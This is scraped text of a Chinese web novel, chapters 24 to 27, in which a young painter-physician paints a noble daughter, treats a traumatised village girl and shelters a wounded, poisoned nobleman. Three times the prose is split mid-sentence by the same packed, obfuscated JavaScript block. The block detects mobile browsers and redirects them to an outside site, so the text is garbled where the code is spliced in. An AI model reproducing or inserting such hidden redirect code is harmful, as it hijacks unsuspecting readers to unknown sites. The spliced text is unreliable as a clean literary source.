;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630335|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边又是叹气又是摇头,仿佛已经能预料到一会儿会发生何事。 穿过雕梁画栋的建筑和几条回廊,季妤被丫鬟带到了后花园,季妤朝前面看去,不远处的亭子里有个窈窕身影,正弯着腰朝池塘里喂鱼。 亭子里还站着两个丫鬟打扮的女子,想来那喂鱼的应该就是钟小姐了。 “季画师,小姐就在前面亭子里,奴婢先下去了。” 季妤笑着对丫鬟拱手作揖:“多谢姑娘带路。” 带路的丫鬟走后,季妤整理了一下仪容仪表,发现鞋子上粘了不少泥巴,于是赶紧往旁边的草丛蹭了蹭,直到蹭干净,感觉没什么问题后,才抬起步子朝亭子走去。 夏天还没到,池塘里还是些枯荷,与花园里开得正盛的花朵相比有些格格不入。 季妤刚走到亭子前,便被一个丫鬟叫住。 “你是什么人?” 丫鬟的这一声,让正在喂鱼的钟灵儿转过身来,好奇地打量起季妤。 季妤拱手作揖道明身份和来意,“在下季宇,是钟公子请来给钟小姐画像的画师。” “我哥请的画师?”钟灵儿将喂鱼的陶碗往旁边一递,自有丫鬟上前接过。 钟灵儿走到季妤面前,由上至下打量着季妤,见她年岁似乎比自己还要小,不由问:“你几岁了?” “在下十六。” “十六吗?你竟比我还小一岁,你确定你能画出让我满意的画像?”钟灵儿看了季妤一眼,往旁边的石桌上一坐,身边的丫鬟忙倒上一杯花茶。 钟灵儿喝了一口花茶,又捻起一块桃花酥来放入口中,等咽下后才又道:“我劝你还是识相地走,别到时候画出张丑画惹恼了我,可就要挨板子的!” 钟灵儿今日心情不错,因此便好心地先提醒了季妤,画不好画像是要挨板子的,就像之前的几位画师,一个个都很自负,认为自己画的定能让她满意。 呵,画出的画像如此丑,没把她的美貌画出十分之一还敢妄言,收了那么多银子还画出这些丑图,打他们十板子都是便宜他们了。 季妤淡定一笑,从木箱里拿出一卷画轴,这画轴尺寸不大,卷起来正好能放进十寸的木箱。 季妤在钟灵儿好奇的眼神中展开画轴,里面一副倚花美人图出现在几人视线中。 24. 找季姑娘 “这画像上的人怎么那么眼熟呢?”钟灵儿看着画像上的美人,觉得越看越熟悉,好像是认识的人。 一旁的丫鬟眼尖看见了画像上的人,嘴快喊了出来。 “是陈小姐,小姐,这是陈小姐!” “陈希柔?”钟灵儿脸色一变,不悦地看着季妤,“你给陈希柔画过画像?” 季妤看到了钟灵儿在提到陈希柔时不高兴的样子,推断两人可能有什么过节,或者两人关系不好。 要想赚到钟灵儿这三十两银子,那么接下来的话就要斟酌斟酌了,于是想了想,道:“近日听闻陈小姐高价找画师为其画像,在下本欲前往,只是昨夜先答应了钟公子今日到府上为钟姑娘作画,因此,还没来得及去陈府。” “而这幅画也确实是画的陈小姐,是有一日恰巧在花坊见着了陈小姐,见美人倚花分外美丽,便忍不住画了出来,想着届时投其所好来着。” 钟灵儿仔细看着画像,不悦的同时又有些惊叹,不悦的是画上的是她最讨厌的人,而且还把陈希柔画得比她本人还要好看几分;惊叹的是这季画师画技果真不错,不仅画得像,还把人画得好看了不少。 若是给她画一张,到时候侯府夫人挑选画像时,看到自己的绝美容貌,定然会留下她的画像,到时候她便多了一个嫁入侯府的机会。 “季画师稍等片刻,我去梳妆打扮一番,然后我们再开始。”钟灵儿起身看了眼桌上的空盘子,对丫鬟吩咐道,“再拿些糕点来给季画师尝尝。” “是,小姐。”一个丫鬟得了吩咐,便下去准备了,另一个则跟着钟灵儿梳妆更衣去了。 季妤坐了下来,也不拘谨,给自己倒了一杯花茶,喝了一口被惊艳到了,果然是大户人家,吃的喝的都如此精致美味。 亭子里只剩她一个人,季妤看了眼桌旁边的陶碗,里面装着鱼食,想了想,端起鱼食走到亭子外边,池塘里养了好些锦鲤,大的小的,一撒鱼食,这些锦鲤就争先恐后地抢,搅得水面水花四溅,着实有趣。 不一会儿,丫鬟端来一个食盒,打开后将各色各样的糕点摆上桌。 “不知季画师喜欢什么样的,奴婢就每样糕点都拿了几块。”丫鬟朝季妤福了福身。 季妤走上前一看,一股甜香味萦绕鼻尖,季妤眼睛一亮,“多谢多谢,我不挑食。” 说完便迫不及待地拿起一块咬了一口,唇齿间都是甜蜜的味道,季妤获得了极大的满足,脸上洋溢着喜悦的笑。 丫鬟见季妤这般不扭捏,又率真的样子,便忍不住笑了出来,她上前指着一盘道:“季画师尝尝这芙蓉奶糕,很是不错。” 季妤闻言,拿起一块,入口丝滑,奶香味浓郁,还伴随着一股淡淡的花香,季妤满足地眯了眯眼,称赞道:“好吃,太好吃了。” “季画师若是喜欢,等离府时奴婢给你打包几份。” “真的可以吗?”季妤眨了眨眼睛,期待地看着丫鬟。 丫鬟笑道:“我家小姐吃腻了这些糕点,府上还有许多,公子又不喜欢吃这些甜食,放着也是浪费,季画师既然爱吃,小姐也是乐意让你带走的。” “谢谢你家小姐,也谢谢你。”季妤吃完一块去拿第二块,笑着看向丫鬟,“姐姐叫什么名?” “奴婢叫书兰,约莫大你一岁半。”方才听了小姐问季画师年纪,书兰听到了季妤十六岁,因此便知道了自己比她大了有一岁半。 “书兰姐姐,你再给我介绍介绍这些糕点又是什么做的?” 在等钟灵儿的间隙,季妤和书兰相谈甚欢,她本就性子活泼,有些自来熟,与什么人都能聊上一两句,这一来二去,两人便熟悉起来。 大概半个时辰后,钟灵儿终于出来了,看着重新梳妆打扮了一番的钟灵儿,季妤由衷夸赞:“钟小姐真是有一副沉鱼落雁闭月羞花之貌啊。” 被人这般直白夸赞,钟灵儿嘴角上扬,往旁边一坐,高傲道:“你可得好好画,若是画得让我不满意,十个板子可免不了。” 季妤微微颔首微笑,朝不远处一指,“还请钟小姐移步至海棠花下。” 院中的海棠粉艳娇嫩,与钟灵儿一身粉裙相得益彰,季妤见这一人一景,脑中已有了画面,只待提笔,便能画出心中此人此景。 * 南市济世堂内,连翘看着堂内被整理得干净整齐,便知道了是季妤收拾的,她心里有些过意不去,她应该早点回来帮着收拾的。 药柜里的药材大部分都已经补齐了,连翘仔细查看了一下,给她娘抓了几副治咳嗽的药。 “姑娘,请问季姑娘在不在啊?” 连翘听到声音回头一看,见是一个老人家,猜想这老人家应该是来药铺抓药的,于是忙上前道:“季姑娘不在,老人家可是要抓药?” “对,我是来抓药的。” “老人家可有药方子?” 刘老头从怀里翻来翻去,掏出一张叠得整齐的纸张。 连翘接过展开一看,发现这字迹是季妤的,而药方子上写的药材是补血养身的,她不由得多看了几眼这刘老头,什么人需要这样大量的补血药材? 难不成这老人家家里头有人失血太多? “老人家您稍等。”连翘说完,便照着方子转身到药柜抓药。 不多时,药抓好打包好递给刘老头,刘老头感激道:“谢谢姑娘。” “不用谢不用谢,这是身为大夫应该做的。”连翘笑道。 刘老头从腰上取下钱袋,倒出里面所有的铜板,脸上有些窘迫,“季姑娘说,之后来抓药不收我钱,但我想着这怎么行,肯定是要给钱的,可我,我就只有这些钱……”说完,小心翼翼地看了眼连翘,怕她不相信他的话,不让他带走药材。 连翘的视线落在那只如枯骨般瘦弱粗糙的手上,约莫有十几个铜板正静静地躺在他的手心。 “既然是季姑娘说的,那便按她说的来,我就不收你钱了。”连翘微微一笑。 这老人一看就是穷苦人家, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661091|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怕手里的铜板就是家里全部的钱了,就算是没有小妤这番话,她也不好意思收这钱。 普通百姓看病买药尚且不容易,更何况是这样的穷苦人家,一旦得病,便是倾家荡产,能治好还好说,治不好就是人没了,钱财也没了。 师父在世时时常告知她和小妤,若是碰上这种穷苦人家的来看病抓药,能不收钱的就尽量不收,也算是做善事。 “这怎么行,还是收下吧,不收的话,我这老头子心里也不安。这药材值不少钱,我这些个铜板恐怕在别的药铺连碎末都买不到,你们肯卖给我,我已经是占便宜了。”刘老头说完便将手心里的铜板往桌上一放,然后转身就要走。 连翘抓起铜板赶忙跑去拦住,她一脸难色道:“老人家,这钱恐怕是你全部的钱,我怎么能全收,要不这样吧,我收三文,也就是三个铜板,如何?” “这、这……” “就这么办!”连翘当机立断从中拿出三枚铜板,然后将剩下的尽数还给刘老头。 刘老头推辞不过,只得收起来,对着连翘感激道:“姑娘,你和季姑娘都是好人。” 连翘不好意思地挠了挠头,翘着嘴笑了起来,“老爷爷,你就别姑娘姑娘的叫我,叫我连翘就行。” “欸,连翘姑娘,谢谢你啊。” 连翘无奈笑了,连翘就连翘,非得后面加个姑娘,算了,老人家愿意怎么叫就这么叫吧。 “连翘姑娘,季姑娘啥时候来这里啊?” 连翘摇了摇头:“我这几日都在家里,没怎么来药铺,所以我也不知道小妤会不会来,什么时候来。” 连翘想到了之前小妤和她说的有办法赚钱还债的事,神神秘秘的,不知道成功没有。 刘老头叹了一口气,脸上露出担心又着急的神色,连翘见了,忙问:“老爷爷你找小妤有急事吗?” 刘老头思量了一会儿,想到孙女儿的情况,面前这个连翘姑娘又是和季姑娘认识的,也是个好人,一咬牙,于是将事情也说与了连翘听。 听了这些话,连翘气得不轻,愤恨道:“杜聪这畜生!” 刘老头叹了口气接着说:“我孙女儿这几日本来渐渐有些好转了。” “谁知昨日夜里不知道从哪里找来了把剪子,对着自己头发就是一通乱剪,幸好被我发现拦下了,她现在不吃不喝,坐着发呆,我实在没辙了,就想找季姑娘随我去看看。” “我带你去小妤家中,她兴许就在家里。”连翘道。 “欸,欸,谢谢连翘姑娘。”刘老头感激不已。 …… 连翘带着刘老头找到季妤家,看到院门上没落锁,便对刘老汉道:“门没锁,小妤应该就在家中。” 连翘直接推门而入,朝着里面大喊:“小妤!” 屋里正在睡梦中的南星被这一嗓子直接给惊醒了,他有些茫然地睁开眼,又是一道“小妤”的喊叫声传来,他眼睛微眯,眼神骤冷。 这不是季姑娘的声音。 25. 来路不明 “小妤,你在家吗?”连翘边喊边往季妤的房间里走去,等到了房里,发现里面没有季妤,又去厨房找了找,还是没有。 “奇怪,院门没上锁,小妤应该在家的啊,不然她不怕遭贼吗?”连翘嘀咕着,疑惑地从厨房出来,打算再去师父房里找找。 师父房里医书多,想必小妤正在查阅医书,之前有次她来找小妤,小妤就在师父的房里看医书的。 “连翘姑娘,季姑娘是不是不在家啊?”刘老头有些拘谨地问。 连翘摇了摇头,“还不清楚,我再去我师父的房里找找,刘爷爷你等一下。” 连翘说完便转身跑到师父的房间外,轻轻推了推门,发现推不动,不由觉得奇怪,难道是锁上了? 不对啊,就算是锁上了,也应该是从外面锁,可外面没看到锁啊,如果是里面锁上了,那小妤是不是就在里面? 连翘拍打着门,朝里面大声喊道:“小妤,你在里面吗?我有事找你啊,是很要紧的事!” 里面没有回应,好像真的没人似的,可这门关得严严实实的,一看就是从里面锁上的,不然怎么推不动? 连翘感到特别奇怪,左右看了看,快步走到窗前,正要伸手去推窗,突然一道声音传来。 “连翘,你怎么来了?” 连翘回头去看,看到了站在院门口的季妤,她忙高兴地跑过去。 “季姑娘。”刘老头见是季妤,忙喊道。 季妤走到刘老头身旁停下,一脸关心地问:“刘爷爷找我何事?可是你孙女情况不太好?” 刘老头满含热泪点头,季妤面色凝重道:“刘爷爷你稍等一会儿,待会儿我和你去一趟。” “欸,好,好,谢谢季姑娘。”刘老头感激得连连道谢。 “小妤,你干什么去了,院门也没锁,我还以为你在家呢,找遍了每个房间都没找到你。”连翘小小地抱怨了一下,但几天没见到季妤了,很是想她,于是冲上去给她一个抱抱。 季妤笑着拍了拍连翘的脊背,“我忙着赚钱去了。” 连翘松开季妤,看到了她肩上背着一个木箱,手里还提着一个食盒。 这个木箱她知道,不是药箱,而是她放笔墨纸砚的画箱。 对于季妤突然会画画这件事,连翘起初还感到有些奇怪,可后来季妤给的解释是小时候跟着一位隐居画师学的,她就信了。 因为她和季妤是十二岁那年认识的,对于季妤小时候学了什么,会什么,她是不清楚的。 本来师父在世时她们日子过得还不错,用不着季妤画画赚钱补贴家用,可后来师父去世了,又欠了三百两巨债,因此季妤为了赚钱还债,便开始了画画接单,这些连翘都是知道的。 至于这手里提的食盒,连翘不太明白地问:“小妤,你怎么还提着食盒啊?这是你从你主顾那打包回来的饭食?” 季妤垂头看了眼手里拎着的食盒,这里面装着从钟府打包的各色糕点和在醉仙楼打包的饭菜。 给钟灵儿画的画像她特别满意,结了二十两的尾款后还额外赏了十两银子,简直把季妤乐坏了,这一上午赚的钱比她十来天赚的钱都多,要是这种机会再多几个就好了,何愁攒不到三百两还债? 因为赚了一大笔,季妤心里头高兴,便打算去心心念念了好久的醉仙楼,听说那里的饭菜一绝,于是便奢侈了一把,买了好些招牌菜打包回来准备和祁钰一起享用。 “这是我从醉仙楼打包的饭菜。” 连翘一惊,不可置信地看着这尺寸不小的食盒,“醉仙楼的饭菜多贵啊,你舍得买?咱不还债了?” 季妤凑到连翘耳边轻语,“我今日到钟府给钟小姐画像,她特别满意,所以我一张画足足赚了有四十两,我心里头高兴,就打算吃点好的庆祝庆祝嘛!” 季妤嘿嘿一笑,接着道:“你今天赶巧,正好也尝尝这醉仙楼的饭菜,看看这些饭菜值不值二两银子。” “四十两?!”连翘瞳孔地震,不可思议地看着季妤,“真的假的?” 季妤笑着点头,“保真。” 连翘似信非信地点点头,跟着季妤来到一处屋子前,突然发现这就是刚刚一直推都推不开的师父的屋子。 “小妤,师父的屋子上锁了吗?”两人走到季妤爹的屋子门口,连翘不由问道。 “没啊,我上锁干嘛,我爹房里医书那么多,我时常需要去翻看,锁上了不是麻烦吗?”季妤没意识到连翘问出这个问题是因为连翘觉得奇怪,所以季妤回答连翘时语气是自然而然的。 连翘挠了挠头,不解地问:“你没锁上,那为什么我刚刚推不开?就好像从里面锁上了一样。” “怎么会推不开……”季妤觉得奇怪,突然想到了是某人在里面,估计是他听到了有人来了,所以把门堵上了? 季妤推了推门,发现门被轻轻推开一条缝,连翘惊讶道:“诶,你怎么就推开了?我刚刚使劲推都推不动。” 季妤将连翘拉进屋里,把画箱和食盒都放在桌上,正要与南星说些什么,就被连翘一把拽住,然后听到她满是疑惑的声音。 “小妤,你爹的房里为什么会有一个男人啊?!”连翘在看到有个男人躺在师父的床上时,是又疑惑又震惊,以为自己眼花看错了,还揉了揉眼睛又重新看了好几遍,在与一双冰冷的眸子对视后,她才坚信自己没有看错。 “季姑娘。”南星朝季妤打了声招呼,欲起身,被季妤一把摁住。 季妤给他把枕头竖起,让他坐起靠得舒服些,然后她笑着道:“祁公子,午饭我已经买好了,我一会儿还有事,可能得傍晚才能回来,祁公子晚上若是饿了,食盒里还有很多糕点。” 南星视线落在桌上的食盒上,听到季妤这么说,又把视线收回,只垂着眼,轻声问:“季姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686948|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘是要去哪里?” “刘爷爷的孙女情况不太好,我得去看看。”季妤解释道,余光看见连翘还呆呆地站在一旁,于是给南星介绍,“祁公子,这是我好姐妹连翘。” 季妤又拽了拽连翘的袖子,等连翘回过神来,她笑着给连翘介绍,“这是祁公子,几日前我在河边救的他。” 哦,原来是救的病人,连翘松了一口气,她还以为小妤藏了什么野男人呢!吓死她了。 误会解除了,连翘笑着朝南星道:“祁公子,有小妤在,你的伤肯定会好得很快的,你就安心住下来养伤。” 南星扯起嘴角,朝连翘微微点头,然后视线落在季妤身上,微微一笑,“季姑娘的医术我相信。” 季妤有些尴尬地笑笑,对于南星对她医术的信任,她着实汗颜呐。 他身上的皮外伤她倒是能百分百治好,可他身上的两种毒她现在可还是一点头绪都没有,若是解不了他身上的毒,岂不是愧对了他对她医术的信任? 既然人家都那么信任她,把性命都交由她,那么她必然不能辜负他的信任,她一定得找出解毒方法才行,季妤暗暗发誓。 “连翘,你帮我在这儿照顾一下祁公子,你给他煎一下药,药我都放厨房了,等他吃过午饭后你就端去给他喝。”季妤拉着连翘走到一旁小声嘱咐她。 “放心吧,交给我。”连翘拍了拍胸脯,认真地保证道。 连翘朝南星那瞥了一眼,又快速收回视线,凑近季妤低语:“小妤,你说实话,这人到底是谁?我告诉你你可别唬我,你唬不到我的。” 这所谓的祁公子通身气质看着就不像寻常普通公子,连翘到现在都还记得刚才与他对视时,他那冰冷的眼神,让人忍不住打寒战。 偏偏这位祁公子对着小妤是一脸温和,一副温润如玉的模样,可在看向她时,眼神就没那么有温度了,淡淡的,冷冷的,疏离的,这就不得不让人怀疑此人是在装模作样。 在小妤面前是一副样子,在别人面前又是另一副样子。再看他身上的伤,连翘并没有仔细看过他身上的伤,但看他这憔悴的病容,连翘多少能猜出此人受伤不轻,且失血过多。 所以,这位祁公子一定来路不简单,哪个好人家会平白无故地受那么重的伤还失血过多?除非他像话本里遭仇人追杀的角色一样,一旦让这种人留在家里,恐怕会惹来杀身之祸。 小妤心地善良又为人单纯,恐怕还识不清这位祁公子的真实面貌,连翘觉得她有必要提醒一下小妤。 “这人来路不明,还受了这么重的伤,你就不怕他骗你?万一他这是遭仇人追杀的,到时候连累你怎么办,这可是会惹来杀身之祸的!” 季妤一惊,没想到连翘心思如此敏锐,竟让她猜中了不少,只是她不知道的是,她有剧本,对于祁钰她了如指掌,只要她好好治好祁钰的伤,届时便能得到百两黄金和一套宅子。 26. 苏念可(肥章) 可这些未卜先知的事又不是一两句就能说清楚的,总不能直接和连翘说什么救了祁钰就能得到百两黄金和宅子吧。 恐怕连翘会以为她是不是发烧了,在做什么白日梦。 季妤仔细想了想,压低声音道:“连翘,你还记得我和你说过的,我想到了一个绝佳对策可以还三百两巨债的事?” 连翘点头,“我记得,我当时还问你什么对策,你神神秘秘地说保密。” “对策就是祁公子!”季妤朝南星那瞅了一眼,压低声音对连翘道。 “他?”连翘一脸疑惑地看了南星一眼,只见南星也朝她看来,眼神冰冰凉凉的,连翘又赶忙将视线收回,重新落在季妤身上,“小妤你说清楚,我不太懂。” 季妤耐心解释道:“你看他气度不凡,样貌不俗,想来定是哪位大户人家的贵公子,我们救了他,到时候他定会补偿我们以报救命之恩的。” 连翘恍然大悟,“原来是这么个对策,可是……” 连翘迟疑了一下,看着季妤道:“你怎么确定他家里有钱?” “他说他家里是做生意的,做生意的有钱啊!而且我救他的时候他身上穿的可是上等丝绸,这可不是普通人能穿得起的。”季妤道。 “那你就确定他会知恩图报吗?小妤,万一他恩将仇报,还把仇家往这儿引,到时候你被连累怎么办?”连翘担心道。 “以我这几天对他的了解,他是个温润如玉,知礼守礼的贵公子,恩将仇报这事他干不出来。而且他是在京城被仇家追杀的,现在在青州,那些仇家不太可能追到这里来吧。”季妤说出这话时,莫名的有些心虚。 也不知道心虚什么,可能是她自己都有点动摇了对祁钰的信任,因此说出对他了解这话便有些心虚。 本来熟知书中剧情的她应该相信祁钰的为人,可那晚祁钰发病后的癫狂样子,还有野兽般渗人的眼神,已经掐着她想要她死的举动,都让她有些怀疑,她捡的真的会是祁钰吗? 可他身上又确实有快刻着钰字的玉佩,这是皇家专属玉佩,若不是祁钰,他怎么可能有这块玉佩? 季妤脑子很乱,脑子里好像有两个小人在打架,一人选择继续相信他是祁钰,而另一人却不断在怀疑,两人打得难舍难分,分不出胜负。 见季妤思绪飘远,正呆呆地出着神,连翘扯了扯她的衣袖,无奈道:“你该不会是看上了这祁公子吧,你见他长相俊美,也不管他是好人还是坏人就把他捡回来。” 季妤一惊,忙摆手,为了反驳,音量不自觉地拔高了些,“才不是,我是那种见色忘义的人吗?”惊觉自己声音有些大,季妤小心翼翼地偏头往南星那看了一眼,发现南星正安安静静地看着窗外,季妤以为他没听到,松了一口气。 压低声音继续道:“救死扶伤是身为大夫的责任,我救他就不能是因为我善良吗?” 连翘冷哼一声,觑了季妤一眼,道出了季妤的真实想法,“我当然知道你是善良的人,只是除了善良,还另有所图,不是图色,怕不是图财吧。” “图财的话,倒是也没说错哈。”季妤打着哈哈笑道,“好了,这里暂时麻烦你一下,我得走了,刘爷爷该等着急了。” “你就放心吧,好歹我也算半个大夫,照顾病人没问题。”连翘笑道。 季妤笑着舒了口气,暂时稳住了连翘,虽然不知道连翘对于她刚才的一番解释存着几分信任,但连翘她还是了解的,是个非常好的姑娘,就算对她存疑,也会好好做她吩咐给她的事。 只是有一件事,还得提醒她一下,季妤停了下来,转身又拉着连翘到一边,小声嘱咐道:“我还有一事要告诉你,就是祁公子中了一种蛊毒,发作时非常恐怖,可能见人就掐。” 说到这个掐字,季妤莫名觉得脖子一疼,不由自主地摸了摸脖子,见连翘一脸惊恐样,她忙安慰道:“别担心,若是他突然发病了,你就把他关在屋里,门和窗子都锁上,你躲起来,保证你自己的安全最重要。” 连翘震惊道:“小妤,你怎么捡了个那么可怕的人啊!你这么清楚这些,难道你被他掐过?” 连翘看到季妤捂着脖子,想要将她手拿开,季妤察觉到了连翘的举动,知道她想要看她脖子上的伤痕,于是赶紧后退一步,道:“记住我和你说的,我先走了,桌上的饭菜快点吃,不然要凉了。” 话音刚落,便跑着出了门。 季妤从自己屋里背着药箱出来走到刘老头面前,“刘爷爷,我们走吧。” …… 刘家村。 “芸儿,你吃点东西吧。”刘婆抹了把眼泪,端着碗劝着面前这个眼神空洞的小姑娘。 这便是她的孙女刘芸。 “奶奶求你,你吃一口,就吃一口好不好?” 无论刘婆怎么全,面前的小姑娘始终不发一言,只呆呆地望着不远处,见好端端的女娃突然变成这幅样子,刘婆心里难受极了,眼泪如决堤的洪水,怎么擦都擦不干净。 “老婆子!” 不远处传来一道声音,刘婆慌忙扭头起身去看,颤抖着喊道:“老头子,你可算回来了!” 仿佛是见到了主心骨一样,刘婆本压抑的哭声渐渐放大,直奔刘老头去。 “芸儿她,还是不肯吃东西,叫她也不应,只呆呆地看着远处,好像没魂了一样。” 季妤在刘老头下了马车后也跟着下来,听到刘婆这话,不由往院子里看去,只看到刘芸坐在门口台阶上,眼睛是往她们这边看的,可眼神却空洞,不聚焦,一副呆滞模样。 确实如刘婆说的,好像没魂一样。 刘老头拉着刘婆的手安慰道:“别着急,我把季姑娘请来了,芸儿会没事的。” 刘婆闻言,这才看到在老头子身旁的年轻姑娘,听老头子说这是季姑娘,也就是上次来给芸儿和她诊治的大夫。 刘婆“扑通”一声跪了下去,朝季妤哀求道:“季姑娘,求求你救救芸儿,她是个好孩子,不该变成这样。” 季妤一脸惶恐地弯腰将刘婆扶起来,认真道:“刘婆婆,你先起来,我先去看看芸儿的状况。” “欸,好,季姑娘快去看看。”刘婆着急地抓着季妤往里走,可能因为太过担心孙女,所以一时没控制住力道,把季妤手腕都掐红了,等季妤感到手腕一阵火辣辣的疼时,才发现自己手腕红了一片。 她面不改色,只微微蹙眉,忍着痛,任由刘婆拉着她走。 “芸儿,我们回屋去好不好?”季妤微弯着腰,柔声对刘芸道。 刘芸毫无反应,仍旧看着远处,季妤脸色凝重,她伸出手来扶住刘芸的肩膀,然后将人轻轻扶了起来,原以为会费一些力气,没想到刘芸竟乖乖配合着站了起来,由着季妤将她扶进了屋。 将刘芸扶进屋后,季妤对着想要进来的刘老头和刘婆道:“刘爷爷,刘婆婆,你们现在外面等,我需要给芸儿全身检查一下。” 刘老头拉住刘婆,对季妤道:“好,我们就在外面等,麻烦季姑娘了。” 季妤点头,将屋门关好然后走到床榻边。 她仔细地观察着刘芸的状态,发现她完全沉浸在自己的世界里。 她脸上的伤已经好得差不多了,伤痕浅淡了许多,只要坚持再涂上一些时日,就能完全消除。 只是这脸上伤好得差不多,不知道身上的伤怎么样,季妤走近了一步,弯着腰准备替刘芸解衣裳仔细检查,只是这手才碰到衣领,就被刘芸突然的尖叫给吓了一跳。 季妤手一顿,见刘芸状态不对,赶紧将手收回来。 等在外面的刘老头和刘婆听到孙女的尖叫声,心急如焚地喊道:“季姑娘,芸儿她怎么了!” 季妤后退一步,看着突然发狂的刘芸面色有些凝重,她朝屋外喊了声:“没事,我在给芸儿检查呢,可能吓到她了,我一会儿慢慢来,尽量不吓到她。” 季妤看到刘芸一脸惊恐地捂着衣领往床 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“不过看她脸上的伤都好得差不多了,你们应该有好好给她涂药,想必她身上的伤也好得差不多。” 刘老头叹了口气,道:“你给的药老婆子一直都有给芸儿涂,确实快好得差不多。” “芸儿肯让你们靠近她吗?”季妤看向刘婆,继续问,“刘婆婆,你给她身上涂药时,你解她衣服她什么反应?” “之前都乖乖让我解衣服涂药的,所以身上的伤好得快,可昨天开始就不让人碰,碰一下衣领就尖叫害怕得到处躲。”刘婆如实道。 这倒是奇了,季妤想到在马车上刘老头和她说的话,忙又问刘老头,“刘爷爷,你在马车上和我说,芸儿本来渐渐有些好转,与她说话她也会回应,你们给她端来的饭菜她也会好好吃,怎么好端端地突然就这样了?” “她是不是又受什么刺激了?” 刘老头和刘婆对视一眼,刘婆突然身子一软跌倒在地,哭了起来。 刘老头连连叹气,脸上尽是懊恼愧疚之色。 季妤默默地看着两人的反应,推断他们二人应该是知道了怎么一回事,于是蹲了下来问刘婆:“刘婆婆,你说吧,了解具体情况才能从根本上解决问题,也才能对症下药。” …… * 临州,某客栈。 “小姐,南星来信了。” 苏念可看了一眼床上昏迷不醒的人,擦了擦眼角的泪,接过丫鬟递过来的信,拆开。 良久后,颇为高兴地吩咐,“芷丹,去收拾东西,明日一早出发去青州。” 芷丹小心地看了眼小姐的神色,见她脸上闪过一丝喜悦,想来是南星在青州已找到了可解蛊毒的大夫了。 青州是大祁朝离南疆最近的州,有不少南疆商人来青州做生意,自然也会有善医的苗疆人在青州生活。 芷丹应了一声,准备下去收拾东西时,突然想到什么,又转过身来,轻声问:“小姐,今日是三月十六了,南星他……” “他怎么了?”苏念可握住床上男人的手,眼里心里都在担忧此人,因此对于南星便不甚在意,只疑惑地问芷丹。 见小姐这般问,芷丹惊讶了一瞬,难道小姐忘了不成? 芷丹迟疑了一下,想着要不要提醒小姐,又怕小姐怪罪她多嘴,但想到南星蛊毒发作时的痛苦模样,芷丹不忍心,最终还是开口了,“小姐,南星身上的蛊毒恐怕已经发作过了,要不要将药丸与回信一并送过去?” 苏念可一顿,似是想起来了,有些懊恼道:“我倒忘了这事,南星也真是的,怎么不把蛊毒发作了这事写在信上。” “芷丹,你去准备药丸,到时候与我的回信一并送过去。”苏念可吩咐完芷丹,又将视线落在床上人身上。 芷丹见状,忙福了福身退了下去。 27. 流言蜚语(肥章) “季姑娘,事情就是这样。” 听完刘老头和刘婆讲的事情经过,季妤一时不知道该说些什么,沉默了半晌,只好干巴巴地说:“我一会儿再去找她说说话,她现在是又受了刺激,心里难受没法发泄出来,我们需要好好开导开导她。” “季姑娘要是能让芸儿恢复正常样子,我和老婆子这辈子如果没法报答你,下辈子做牛做马也会报答你!”刘老头说得郑重,拉着刘婆发誓。 季妤忙道:“说什么报答的话,你们两位老人家可不要折煞我,晚辈可担不起。” 季妤重新进屋已经是又过了半个时辰,那原本缩在床角落的刘芸,此时情绪已经稳定下来,坐在了窗前,眼神空洞地望着窗外景象。 季妤脚步轻轻地走到她的身旁,搬来个凳子也坐了下来,她偏头看了看刘芸,看到她好看的侧颜,卷翘的睫毛如同一把小扇子,也如同展翅的蝴蝶,灵动优美。 季妤想了想,从药箱里拿出写药方子的纸张和笔墨,开始作画。 下笔流畅如行云流水,不多时一幅美人侧颜画像便生动地出现在纸上,季妤将纸伸到刘芸面前,然后歪着头去看她脸上的表情。 只见刘芸视线慢慢聚焦,落在了纸上,季妤笑道:“你瞧,我画了个美人呢,你觉得她好看吗?” 刘芸愣愣地看着,半晌开口道:“这个人,很像我。” 见刘芸肯开口说话,季妤高兴不已忙笑道:“对啊,这画的就是你啊,我刚刚看你侧脸觉得特别好看,就画下来了。” “我,好看?”迟疑的语气,自我怀疑的表情。 季妤心里一痛,握住刘芸的手,惊讶地发现她的指尖冰冷。 她好像握了一块冰一样,冷得她打了个哆嗦,但季妤仍旧紧紧握着,给刘芸传递着自己身上的热量。 季妤肯定地点头,“你当然好看,你为什么会认为自己不好看呢?” 刘芸沉默了,就在季妤以为她不再开口说话时,她又开口了,“我不好看,建平哥说我脏了,说我好丑……呜呜……” 季妤看着刘芸说着说着突然捂着脸呜咽起来,哭得像只可怜的小猫。 